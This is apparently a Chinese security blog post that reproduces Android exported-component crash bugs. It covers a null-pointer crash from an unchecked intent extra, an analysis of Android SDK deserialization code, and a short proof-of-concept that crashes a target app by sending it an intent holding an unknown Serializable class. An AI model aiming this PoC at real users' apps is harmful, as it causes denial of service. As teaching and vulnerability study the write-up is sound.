APP-SECURITY-404 组件导出漏洞复现
一.概述
组件就不多介绍了,安卓的四大组件:activity,service,broadcastReciver,ContentProvider
导出: 其他的应用或组件通过发送intent对象的方式调用其他组件。
intent是一种消息传递对象,intent的基本知识放个博客链接:
https://blog.csdn.net/salary/article/details/82865454
这个漏洞的主要原理还是在于对intent对象的处理没有添加异常事件所导致。
二.漏洞复现
二.1 简单类型
先写了两个activity,其中一个activity通过发送intent对象方式来启动另一个activity,并把数据存在了intent对象中,一起发送过去。
第一个activity
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息) //传输数据给Activity intent.putExtra("str1","i am str1"); startActivity(intent); } }
第二个activity
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.widget.Toast; public class Activity1 extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_1); Intent intent=getIntent(); String str1=intent.getStringExtra("str1"); Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show(); } }
这里其实很简单,就是主活动通过发送包含数据的intent方式调用另一个活动组件,另一个活动通过getStringExtr方法来将数据取出来,再生成一个消息提示框,将取出来的字符串拼接好,放入对话框中
那么假设,我把第一个存数据的代码注释掉,会发生什么呢
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息) //传输数据给Activity //intent.putExtra("str1","i am str1"); startActivity(intent); } }
第二个活动的代码不变,这时候运行一下我们的app。
发现虽然没有这key-value存在,但是似乎自动生成了个key-value,不过value默认是null。这里没啥问题,但如果我的
第二个活动代码是这样写的话
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.widget.Toast; public class Activity1 extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_1); Intent intent=getIntent(); String str1=intent.getStringExtra("str1"); if(str1.equals("i am str1")) { Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show(); } } }
这里有点意思是equals方法,这个方法是继承父类object类的,也就意味着只有对象才能引用这个对象
然后这里有可能出现str1为null的情况,String str1其实是引用,赋值给null是没毛病的,只是这里出问题
应该是程序员的忽视了,这里的修改意见应该是先判断是否为null,如果是null就没必要比较了,因为不可能
相等的,null和对象相等不存在好吧,如果不是null,那值得一比,不过第一个比较是用==,因为不是比字符串
的值了,没必要用equals,也不可能用。
这里运行一下,肯定会出现空指针异常,这里可以查下崩溃日志
点击android studio左下角的按钮就可以查看崩溃日志
这里报的是空指针异常,达到目的了,一是没有预防,二是没有去处理这个异常,添加try/catch是个不错的方式
二.2 复杂类型的组件导出
之前那种简单的组件导出基本上不会出现了,不过还有一种更复杂一些的,前面算是程序员粗心导致的,后面这种是算是逻辑错误
这里聚集在获取intent中数据的方法getStringExtra这里,这个地方要去看sdk的源码,因为我是mac,command+鼠标单击就会自动
跳转到这个对应方法的源码,不过一开始我sdk版本设置的过高,30的安卓10的版本直接裂开,根本没有源码,我就去改了build.gradle里面的
sdk版本号,然后同步了一下,没想到成功了,改成了29之后,本来下sdk时,就直接把源码也下载下来,这下就可以看源码了。
这里先看getStringExtra的源码
public @Nullable String getStringExtra(String name) { return mExtras == null ? null : mExtras.getString(name); }
private Bundle mExtras;
这个mExtras的类型是Bundle,这里的再跟着mExtras.getString的方法看看,发现是在BaseBundle类中找到的这个方法,应该是它父类的方法
@Nullable public String getString(@Nullable String key) { unparcel(); final Object o = mMap.get(key); try { return (String) o; } catch (ClassCastException e) { typeWarning(key, o, "String", e); return null; } }
unparcel是反序列化方法,跟进去一波。
@UnsupportedAppUsage /* package */ void unparcel() { synchronized (this) { final Parcel source = mParcelledData; if (source != null) { initializeFromParcelLocked(source, /*recycleParcel=*/ true, mParcelledByNative); } else { if (DEBUG) { Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this)) + ": no parcelled data"); } } } } private void initializeFromParcelLocked(@NonNull Parcel parcelledData, boolean recycleParcel, boolean parcelledByNative) { if (LOG_DEFUSABLE && sShouldDefuse && (mFlags & FLAG_DEFUSABLE) == 0) { Slog.wtf(TAG, "Attempting to unparcel a Bundle while in transit; this may " + "clobber all data inside!", new Throwable()); } if (isEmptyParcel(parcelledData)) { if (DEBUG) { Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this)) + ": empty"); } if (mMap == null) { mMap = new ArrayMap<>(1); } else { mMap.erase(); } mParcelledData = null; mParcelledByNative = false; return; } final int count = parcelledData.readInt(); if (DEBUG) { Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this)) + ": reading " + count + " maps"); } if (count < 0) { return; } ArrayMap<String, Object> map = mMap; if (map == null) { map = new ArrayMap<>(count); } else { map.erase(); map.ensureCapacity(count); } try { if (parcelledByNative) { // If it was parcelled by native code, then the array map keys aren't sorted // by their hash codes, so use the safe (slow) one. parcelledData.readArrayMapSafelyInternal(map, count, mClassLoader); } else { // If parcelled by Java, we know the contents are sorted properly, // so we can use ArrayMap.append(). parcelledData.readArrayMapInternal(map, count, mClassLoader); } } catch (BadParcelableException e) { if (sShouldDefuse) { Log.w(TAG, "Failed to parse Bundle, but defusing quietly", e); map.erase(); } else { throw e; } } finally { mMap = map; if (recycleParcel) { recycleParcel(parcelledData); } mParcelledData = null; mParcelledByNative = false; } if (DEBUG) { Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this)) + " final map: " + mMap); } }
这里不知道为啥我跟不进这个函数,裂开,parcel这个类,是一个共享内存,将序列化数据存进去,同时也可以通过parcel对象
将对象反序列化取出来,这里大概知道intent发送数据,是先将key -value的值序列化存进parcel,然后其他组件再通过parcel
对象通过类加载器和类名,解析反序列化出相对应的对象出来,存进map中。
---以下源码源自王师傅
/* package */ void readArrayMapInternal(ArrayMap outVal, int N, ClassLoader loader) { if (DEBUG_ARRAY_MAP) { RuntimeException here = new RuntimeException("here"); here.fillInStackTrace(); Log.d(TAG, "Reading " + N + " ArrayMap entries", here); } int startPos; while (N > 0) { if (DEBUG_ARRAY_MAP) startPos = dataPosition(); String key = readString(); Object value = readValue(loader); if (DEBUG_ARRAY_MAP) Log.d(TAG, " Read #" + (N-1) + " " + (dataPosition()-startPos) + " bytes: key=0x" + Integer.toHexString((key != null ? key.hashCode() : 0)) + " " + key); outVal.append(key, value); N--; } outVal.validate(); }
再跟readValue方法
public final Object readValue(ClassLoader loader) { int type = readInt(); switch (type) { case VAL_NULL: return null; case VAL_STRING: return readString(); case VAL_INTEGER: return readInt(); ...... case VAL_SERIALIZABLE: return readSerializable(loader); ...... default: int off = dataPosition() - 4; throw new RuntimeException( "Parcel " + this + ": Unmarshalling unknown type code " + type + " at offset " + off); } }
这个readSerializable方法有点意思,其实就是反序列化把对象取出来
再跟进去看看
private final Serializable readSerializable(final ClassLoader loader) { String name = readString(); if (name == null) { // For some reason we were unable to read the name of the Serializable (either there // is nothing left in the Parcel to read, or the next value wasn't a String), so // return null, which indicates that the name wasn't found in the parcel. return null; } byte[] serializedData = createByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(serializedData); try { ObjectInputStream ois = new ObjectInputStream(bais) { @Override protected Class<?> resolveClass(ObjectStreamClass osClass) throws IOException, ClassNotFoundException { // try the custom classloader if provided if (loader != null) { Class<?> c = Class.forName(osClass.getName(), false, loader); if (c != null) { return c; } } return super.resolveClass(osClass); } }; return (Serializable) ois.readObject(); } catch (IOException ioe) { throw new RuntimeException("Parcelable encountered " + "IOException reading a Serializable object (name = " + name + ")", ioe); } catch (ClassNotFoundException cnfe) { throw new RuntimeException("Parcelable encountered " + "ClassNotFoundException reading a Serializable object (name = " + name + ")", cnfe); } }
发现就是查找反序化类,然后反序列化对象出来,如果没有找到反序列化的类,就会抛出异常,这里就是突破口
假设传入的序列化的类找不到,而且并没有用try/catch来处理异常,那么就会崩溃。
poc 贴下王师傅的
public class MainActivity extends Activity { private static final String TAG = "MainActivity"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); try { Intent intent = new Intent(); intent.setComponent(new ComponentName(target_package_name, target_component_name)); intent.putExtra("serializable_key", new DataSchema()); startActivity(intent); } catch (Exception e) { e.printStackTrace(); } } } class DataSchema implements Serializable { private static final long serialVersionUID = -1L; }